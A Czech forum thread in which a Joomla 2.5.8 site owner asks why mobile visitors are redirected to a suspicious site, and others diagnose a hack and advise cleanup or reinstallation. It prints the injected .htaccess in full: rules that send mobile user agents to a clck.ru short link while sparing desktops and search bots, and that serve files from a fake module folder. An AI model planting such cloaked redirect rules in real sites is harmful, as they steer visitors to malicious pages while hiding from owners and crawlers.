Joomla 2.5.8 - zobrazování webu na telefonu

Dobrý den,
spravuji web www.dumchleba.cz na systému Joomla 2.5.8 a web se vůbec nezobrazí na mobilním telefonu. Přehodí to na nějaký pochybný web f1fatt3loadz.ru. Nevíte o nějakém free pluginu či modulu díky kterého by se správně web zobrazoval? Moje další weby na Joomle 1.5 a 3.4.3 se zobrazují na telefonech správně.

Děkuji za případné rady

Filipe,

řekl bych, že máš nakoplý web. Visí na něm zřejmě škodlivý skript - vir, který přesměrování řídí. Doporučuju pročistit web, zkus celý web stáhnout přes FTP a projet antivirem, případně oslov webhosting a popros je, aby ti pomohli odhalit soubor, který přesměrování způsobuje. Ten pak smaž (předtím samozřejmě zálohuj).

Vypadá to na nějaký ruský vir, možná jako anonymizér, viz www.site2unblock.com/proxy/f1fatt3loadz.ru
lists.clean-mx.com/pipermail/viruswatch/20140304/143769.html

Je možné, že máš bezpečnostní díru v nějaké komponentě, pluginu, modulu, a škodlivý kód se pak třeba zase objeví znovu.

MaK.

Moc děkuji za radu. Napadlo mě, že by to mohlo být nějakým "bordelem" na webu. Projel jsem to anitivirem a našlo to dva infikované soubory admcache.php a mod_add.php. Tak jsem je smazal.

Rádo se stalo, ale mobilní web zatím nejede, pokud dobře koukám. Na FTP jsi ty soubory smázl taky? Je možné, že je tam další bordel, který antivir nenašel.

Ty články "Ukrajina a Rusko bez sirotků!" jsou na webu správně - v azbuce?

MaK.

To, že smáznete něco, co vám připadá jako vadné, nic neřeší. Nějak se tam útočník musel dostat, většinou má i pořád otevřená zadní vrátka.

Web je třeba vyčistit, kompletně aktualizovat, změnit všechna hesla a přístupy, zabezpečit, viz.: www.bongovo.cz/joomla/40-jak-zachranit-hacknutou-joomlu

Ano bohužel mobilní verze nejede. Infikované soubory jsem samozřejmě smazal na FTP a znovu to celé projel a můj anitivir (NOD32) už nic nenašel. Zkusím kontaktovat webhosting s prosbou o identifikaci příčiny přesměrování.

Jinak ano, azbuka tam patří. Je to vícejazyčný web a některé videa jsou pouze v azbuce i na české verzi webu.

Ano web nám asi před rokem někdo hacknul, přesměrovávalo to na nějaké porno stránky. Stalo se to v období, kdy jsem do systému nahrával velké množství všemožných pluginů nebo modulů. Nyní jsem již opatrřnější.

Ale měl jsem za to, že problém byl vyřešen. Až teď jsem zjistil, že mobilní verze nejede. Všechny přístupy jsem vyměnil a vidno tam ještě zůstal nějaký bordel. Hlavně složka modules obsahovala mnoho infikovaných souborů.

I když zalepíš všechny díry, ten šmejd tam může někde skrytě viset dál a stejně to nerozchodíš. Jak psal Bong, aktualizace všeho je nezbytná.

Já budu ještě drsnější - podle mě je nejlepší zálohovat obsah, pak komplet shodit a nainstalovat znovu na nové verzi. Ono je fuk, že web nejede na mobilu, stejně není responzivní, a asi ani nemá žádnou mobilní verzi, např. m.dumchleba.cz

Na doménu teď vede cca jen 5 odkazů, takže tam nic neztratíš. Přesto doporučuju dbát na to, aby struktura nového webu zůstala stejná kvůli zaindexování, anebo se postarat o správné přesměrování.

Doporučuju zazálohovat obsah, pak postavit web znovu a lépe.

MaK.

Prosím vás pánové můžete se mi podívat na obsah .htaccess?


RewriteEngine On
RewriteRule ^soft/(.*)$ /home/users/filll/dumchleba.cz/web/modules/mod_articless/cashe/$1 [L]

RewriteEngine on

RewriteCond %{HTTP_USER_AGENT} android [NC,OR]
RewriteCond %{HTTP_USER_AGENT} opera\ mini [NC,OR]
RewriteCond %{HTTP_USER_AGENT} blackberry [NC,OR]
RewriteCond %{HTTP_USER_AGENT} iphone [NC,OR]
RewriteCond %{HTTP_USER_AGENT} (pre\/|palm\ os|palm|hiptop|avantgo|plucker|xiino|blazer|elaine) [NC,OR]
RewriteCond %{HTTP_USER_AGENT} (iris|3g_t|windows\ ce|opera\ mobi|windows\ ce;\ smartphone;|windows\ ce;\ iemobile) [NC,OR]
RewriteCond %{HTTP_USER_AGENT} (mini\ 9.5|vx1000|lge\ |m800|e860|u940|ux840|compal|wireless|\ mobi|ahong|lg380|lgku|lgu900|lg210|lg47|lg920|lg840|lg370|sam-r|mg50|s55|g83|t66|vx400|mk99|d615|d763|el370|sl900|mp500|samu3|samu4|vx10|xda_|samu5|samu6|samu7|samu9|a615|b832|m881|s920|n210|s700|c-810|_h797|mob-x|sk16d|848b|mowser|s580|r800|471x|v120|rim8|c500foma:|160x|x160|480x|x640|t503|w839|i250|sprint|w398samr810|m5252|c7100|mt126|x225|s5330|s820|htil-g1|fly\ v71|s302|-x113|novarra|k610i|-three|8325rc|8352rc|sanyo|vx54|c888|nx250|n120|mtk\ |c5588|s710|t880|c5005|i;458x|p404i|s210|c5100|teleca|s940|c500|s590|foma|samsu|vx8|vx9|a1000|_mms|myx|a700|gu1100|bc831|e300|ems100|me701|me702m-three|sd588|s800|8325rc|ac831|mw200|brew\ |d88|htc\/|htc_touch|355x|m50|km100|d736|p-9521|telco|sl74|ktouch|m4u\/|me702|8325rc|kddi|phone|lg\ |sonyericsson|samsung|240x|x320|vx10|nokia|sony\ cmd|motorola|up.browser|up.link|mmp|symbian|smartphone|midp|wap|vodafone|o2|pocket|mobile|treo) [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^(1207|3gso|4thp|501i|502i|503i|504i|505i|506i|6310|6590|770s|802s|a\ wa|acer|acs-|airn|alav|asus|attw|au-m|aur\ |aus\ |abac|acoo|aiko|alco|alca|amoi|anex|anny|anyw|aptu|arch|argo|bell|bird|bw-n|bw-u|beck|benq|bilb|blac|c55\/|cdm-|chtm|capi|cond|craw|dall|dbte|dc-s|dica|ds-d|ds12|dait|devi|dmob|doco|dopo|el49|erk0|esl8|ez40|ez60|ez70|ezos|ezze|elai|emul|eric|ezwa|fake|fly-|fly_|g-mo|g1\ u|g560|gf-5|grun|gene|go\.w|good|grad|hcit|hd-m|hd-p|hd-t|hei-|hp\ i|hpip|hs-c|htc\ |htc-|htca|htcg|htcp|htcs|htct|htc_|haie|hita|huaw|hutc|i-20|i-go|i-ma|i230|iac|iac-|iac\/|ig01|im1k|inno|iris|jata|java|kddi|kgt|kgt\/|kpt\ |kwc-|klon|lexi|lg\ g|lg-a|lg-b|lg-c|lg-d|lg-f|lg-g|lg-k|lg-l|lg-m|lg-o|lg-p|lg-s|lg-t|lg-u|lg-w|lg\/k|lg\/l|lg\/u|lg50|lg54|lge-|lge\/|lynx|leno|m1-w|m3ga|m50\/|maui|mc01|mc21|mcca|medi|meri|mio8|mioa|mo01|mo02|mode|modo|mot\ |mot-|mt50|mtp1|mtv\ |mate|maxo|merc|mits|mobi|motv|mozz|n100|n101|n102|n202|n203|n300|n302|n500|n502|n505|n700|n701|n710|nec-|nem-|newg|neon|netf|noki|nzph|o2\ x|o2-x|opwv|owg1|opti|oran|p800|pand|pg-1|pg-2|pg-3|pg-6|pg-8|pg-c|pg13|phil|pn-2|pt-g|palm|pana|pire|pock|pose|psio|qa-a|qc-2|qc-3|qc-5|qc-7|qc07|qc12|qc21|qc32|qc60|qci-|qwap|qtek|r380|r600|raks|rim9|rove|s55\/|sage|sams|sc01|sch-|scp-|sdk\/|se47|sec-|sec0|sec1|semc|sgh-|shar|sie-|sk-0|sl45|slid|smb3|smt5|sp01|sph-|spv\ |spv-|sy01|samm|sany|sava|scoo|send|siem|smar|smit|soft|sony|t-mo|t218|t250|t600|t610|t618|tcl-|tdg-|telm|tim-|ts70|tsm-|tsm3|tsm5|tx-9|tagt|talk|teli|topl|hiba|up\.b|upg1|utst|v400|v750|veri|vk-v|vk40|vk50|vk52|vk53|vm40|vx98|virg|vite|voda|vulc|w3c\ |w3c-|wapj|wapp|wapu|wapm|wig\ |wapi|wapr|wapv|wapy|wapa|waps|wapt|winc|winw|wonu|x700|xda2|xdag|yas-|your|zte-|zeto|acs-|alav|alca|amoi|aste|audi|avan|benq|bird|blac|blaz|brew|brvw|bumb|ccwa|cell|cldc|cmd-|dang|doco|eml2|eric|fetc|hipt|http|ibro|idea|ikom|inno|ipaq|jbro|jemu|java|jigs|kddi|keji|kyoc|kyok|leno|lg-c|lg-d|lg-g|lge-|libw|m-cr|maui|maxo|midp|mits|mmef|mobi|mot-|moto|mwbp|mywa|nec-|newt|nok6|noki|o2im|opwv|palm|pana|pant|pdxg|phil|play|pluc|port|prox|qtek|qwap|rozo|sage|sama|sams|sany|sch-|sec-|send|seri|sgh-|shar|sie-|siem|smal|smar|sony|sph-|symb|t-mo|teli|tim-|tosh|treo|tsm-|upg1|upsi|vk-v|voda|vx52|vx53|vx60|vx61|vx70|vx80|vx81|vx83|vx85|wap-|wapa|wapi|wapp|wapr|webc|whit|winw|wmlb|xda-) [NC,OR]
RewriteCond %{HTTP:Accept} (text\/vnd\.wap\.wml|application\/vnd\.wap\.xhtml\+xml) [NC,OR]
RewriteCond %{HTTP:Profile} .+ [NC,OR]
RewriteCond %{HTTP:Wap-Profile} .+ [NC,OR]
RewriteCond %{HTTP:x-wap-profile} .+ [NC,OR]
RewriteCond %{HTTP:x-operamini-phone-ua} .+ [NC,OR]
RewriteCond %{HTTP:x-wap-profile-diff} .+ [NC]

RewriteCond %{QUERY_STRING} !noredirect [NC]
RewriteCond %{HTTP_USER_AGENT} !^(Mozilla\/5\.0\ \(Linux;\ U;\ Android\ 2\.2;\ en-us;\ Nexus\ One\ Build/FRF91\)\ AppleWebKit\/533\.1\ \(KHTML,\ like\ Gecko\)\ Version\/4\.0\ Mobile\ Safari\/533\.1\ offline)$ [NC]
RewriteCond %{HTTP_USER_AGENT} !(windows\.nt|bsd|x11|unix|macos|macintosh|playstation|google|yandex|bot|libwww|msn|america|avant|download|fdm|maui|webmoney|windows-media-player) [NC]

RewriteRule ^(.*)$ clck.ru/8sNeJ [L,R=302]

Jen tak laicky se mi zdá, že tam je nějaký bordel. Dole vidím RewriteRule ^(.*)$ clck.ru/8sNeJ [L,R=302]. To by mohlo být to přesměrování na tu stránku. Ale proč to dělá jen na mobilech?

Díky moc za případné rady

No tě pr...
Smažte to a použijte cistý htaccess.txt z poslední verze Joomly 2.5.28 a případně jej doupravte podle vašich požadavků.

Taky se podívejte na ty uvedené cesty, třeba mod_articless nemá co v Joomle dělat...

Poznámka: na vašem místě, než se s tím patlat, jestli to opravdu neovládáte, doporučuji migraci na čistou Joomla 3x

Díky. Vyzkouším nový htaccess. Předělávat web na Joomlu 3x by bylo hrozně pracné.

Ale pokud bych do té migrace chtěl jít, vzala by Joomla 3x databázi ze současného webu na verzi 2.5.8? Jde o to, abych nemusel zase pracně vytvářet položky menu, články, metadata zapisovat atd.

Migrovat nedoporučuju, může tam někde dál zůstat nějaký bordel, třeba pozůstatek starého děravého pluginu, a za čas se zase ozvat, otevřít vrátka. Jistější je čistý střih a změna všech hesel (FTP, MySQL), jak psal Bong.

"Pane řidiči, vždyť ty pneumatiky máte hrozně sjetý! A tady je dokonce zapíchnutý starý hřebík!"

"Můžete mi na ně navařit protektor a ten podklad i s hřebíkem nechat? Třeba ten hřebík nový plášť nepropíchne..."

MaK.